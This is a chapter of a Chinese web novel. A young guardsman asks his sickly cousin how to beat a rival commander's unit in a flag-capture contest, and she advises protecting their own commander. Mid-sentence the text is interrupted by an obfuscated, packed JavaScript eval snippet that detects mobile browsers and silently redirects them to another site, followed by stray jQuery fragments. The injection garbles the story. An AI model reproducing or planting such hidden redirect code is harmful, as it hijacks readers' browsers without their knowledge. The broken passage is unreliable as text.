15. 问策

作品:《世子夫人今天掉马甲了吗

    因为肩负了回家打探有用消息的重任,这一天傍晚散值时,温如枢就收获了来自自家顶头上司带人亲自送他出门的殊荣。温如枢跟在葛齐身旁,一边走一边认真听他将从其他相熟几卫打探来的消息一一讲述出来。


    其中几个需要重点关注的方面生怕他没有领会到其中精髓,葛齐甚至还不厌其烦的将其掰开揉碎了反复讲了好几遍,身后还跟了几名同队的人,时不时补充一两句。


    一行人从营中一路走到营门前,引来了好些人侧目。


    临到出营门之前,葛齐仔细想了想,觉得该说的都已经说过,最后千言万语只化作拍在温如枢肩膀上的手掌,“若是今日不方便上门拜访,明日再给你放一天假,只要你能真的打探到有用的信息。记住,不论什么消息,只要你觉得有用的,都记住带回来,这两日我都在营中。”


    温如枢以新人之身承担自己这一队五百多人的厚望,尽管将要回家打探的对象是自家堂妹,却也在面前众人的殷切期盼下生出了些难得的责任感。此刻发自肺腑的认真向葛齐保证“头儿,你放心,我带着笔墨去,把能知道的都当场记下带回来。明日一早就送到您手中。”


    送走温如枢,葛齐转头随口问段鸿博“温家还有人在肃州军中任职?”


    照方才温如枢所说,他能问的人只能是温家自己人。据葛齐所知,自五年前那场劫难之后,温家当时所有与肃州军有关,且能支撑门户的男丁都死了。不然温如枢也不会沦落到费尽力气才堪堪在左金吾卫谋了个职位。


    若是温家其他男丁没有都折损在那场变故之中,以温家的条件,就算也在金吾卫谋职,至少也得给他安个参军的职位在头上,那可是至少正九品、有正式隶属的官员品级。哪里会像现在这样,进来甚至连个伙长都不是。这里外里差的不是一星半点。


    段鸿博与温如枢算是幼年同窗,比队中其他人对温家了解的更多一些,却也只限于温家摆出来让人知道的那些。此等涉及家族更为深层的内部讯息一样两眼一抹黑,“据我所知,应该是没有了。”


    不然,温如枢不会选择恩荫进金吾卫谋职。更应该选择将门子弟的传统路线,去左右武卫或是骁卫谋个职位。


    往日休沐前,同僚们相约出去喝酒,他都因着急归家推辞了。渐渐的,大家也都知道,他家中祖母年迈,长姐已经成婚,再往下只还有一位常年在家养病的族妹,此外再无别人。


    难道说,府中老夫人对肃州军颇有了解?毕竟她两个儿子都曾在北疆任职,或许闲谈时与家中长辈有过这方面的交流?


    饶是两人再怎么猜测,也绝对猜不到温如枢请的外援就是他那对外宣称需常年养病的堂妹。


    温如枢骑着马,一路并不停留,顺利的赶在暮鼓响起之前回到家中。


    府里平日只老夫人和温如玉两位主子,一老一少两人,老的上了年纪,小的又常年体弱多病,都需要注重保养。是以温家的夕食普遍要早一刻钟。温如枢下值回家的时候,祖孙俩已经早就吃过饭,正相携在后院花园中散步消食。


    下人禀报说二郎归家了,自有伺候的人去安排洗漱和饭食,祖孙俩慢慢在花园里转完两圈,这才转回正房中。刚坐下说了不一会儿的私房话,就听见院中婢女们向二郎问安的声音。


    温如玉停下说话,与祖母一道望向门口。


    温如枢像往常那般进门先向祖母问安,简单说些今日的事宜,最后将话题转到下月南衙大比这件事上。


    “今年不知是谁向圣上建议,言道擂台比武只能看出个人武力高低,无法衡量各卫真实实力。硬是将擂台比试换成了校场夺旗。祖母您也知道,金吾卫最多管管坊间治安,哪里经历过两军对垒。偏偏今年轮到我们这一旅参加南衙大比。为了这个,我们旅帅头都要抠破了。”


    温如玉原本坐在一旁,漫不经心的翻着炕桌上的佛经,听见堂兄说起大比,也只是略略听了两句,并没有太多关注。谁料,下一刻就听见二郎叫她


    “五娘可有闲暇,我正好有些问题想向你请教一二。”


    温老夫人笑着拦他“你又在胡说。五娘一个闺阁女子,南衙大比是军中大事,她能帮得上你什么忙?”


    “祖母,这你有所不知。我们左金吾卫今年抽中的正是谢衡所在的左千牛卫。”温如枢解释着,甚至将自己回来路上的猜测也一并说了出来“千牛卫宿卫宫中,也就面子功夫看上去比金吾卫强些。但是谢衡是肃州军出身,今年着变故怕不就是他向圣上提的建议吧!”


    温老夫人笑着“莫要瞎猜。事情根源目前不重要,重要的是你刚入营不久就要参加大比,可有准备?”


    温如枢苦着脸“这不是向五娘请教来了吗!”他转向对温如玉,站起身诚心一礼,“五娘你可一定要帮帮我。”


    温老夫人也笑着看向自家孙女,倒是并不帮腔,端看她的态度。


    温如玉倒是无所谓,“二郎想问什么?”


    温如枢听她这么一问,飞快的从怀里掏出一页写满了字的纸,展开后递给她。温如玉接过一看,上面写的全是些关于肃州军的问题。


    她一目十行的看过,将纸还给温如枢,问他“这上面的问题我一个都回答不了。”


    温如枢早就料到了,换了个方式问她“抛开这些,我换个方式问,若是今年金吾卫想要赢过谢衡率领的千牛卫,我们要注意什么,五娘可有建议?”


    他这一席话,勾起了温如玉的回忆。她似乎又看见了多年前在北疆时,那名身着黑衣玄甲的少年,一边收好长枪一边笑着走向她时脸上止不住的笑容,耳旁还响起了那句“阿颜,今日演练我又活捉了对方主将!”


    那个少年脸上的笑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15251668|166411||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    容在北疆的阳光下显得格外的明媚,连带着此刻的温如玉都忍不住跟着记忆中的他笑起来。


    片刻失神后温如玉飞快的回过神来,看向等着自己回答的堂兄,言简意赅的一句话总结“若是能做到多安排人手保护好主将。至少不会输的太难看。”


    温如枢被堂妹这一句话给弄得更疑惑了。军中本就有“主将死,亲卫无故而存者皆斩”的铁律。历朝历代战场中两军对垒之时,主将本就在重重护卫之下。即便是上了战场,主将身边有专门护卫的亲兵保护,哪里用得着特意提出保护。


    不过,温如枢自家人知自家事,五娘这么说自有她的道理,于是按捺住内心的不解,追问到“此话何解?”


    温如玉放下佛经,缓缓问到“方才二郎说今年是以夺旗定乾坤。那敢问,这个旗是帅旗还是别的什么?”


    温如枢解释“自然是帅旗。”


    “那我方才说的方法便没错,”温如玉缓缓往下说“别的我不清楚。不过当年在肃州时,父亲也曾提起过,肃州大营中每年也常有比试。北疆不似长安安宁,因此边军也更注重实打实的战场拼杀,听闻当时军中定下的比试的方式就与方才二郎所说一模一样。谢衡当时还在先锋军行伍之中,也赢过几次对阵。别的队伍怎么赢的我不清楚,但他每次获胜,都只会是一个原因,”


    “是什么?”温如枢有些着急


    温如玉缓缓抬眼,直直看向堂兄,笑的好不淑女,偏偏说出来的话却让人后背发凉“与千军万马之中,用尽一切手段将敌首斩于阵前。”


    “直捣黄龙?”


    温如玉点头,表示就是如此“每次都是。无一例外。”随后,又像是安抚似的,补充了几句“不过,我与他分别多年,或许这些年他有所变化也说不好。毕竟,当时他只是前锋营中的一员小将,不需考虑战场局势,只一味冲杀即可。现在他已升至中郎将,怕是也不能再与往常一般不顾大局。”


    “可是,此次大比是每卫抽调一旅对阵。和边军前锋营人数相差无几,怕是真被你猜中,他又要用回昔年手段了。”温如枢得到了想要的回答,可内容却是最不愿意听到的坏消息。


    温如玉捂嘴轻笑“我所知道的都已告知二郎,剩下的便是二郎你要考虑的。天色已晚,我这便回去了,二郎也早些休息,莫要打扰祖母早睡。”


    温老夫人坐在一旁听孙子孙女对话听得很是有趣,此时也帮着她赶人,“正是正是。二郎早些回去睡吧。晚上莫要熬夜。”


    温如枢带着一脑袋苦恼被祖母与堂妹赶回了自己房中,先是呆坐在椅子上许久,随后又反应过来,唤来房中伺候的小厮,铺纸磨墨,将方才五娘说的要点一一写了下来,一口气写了两大张,这才吩咐人等到墨汁干透后收好装入他明日随身要带的简易行囊中,以便明日去向自己顶头上司交作业去。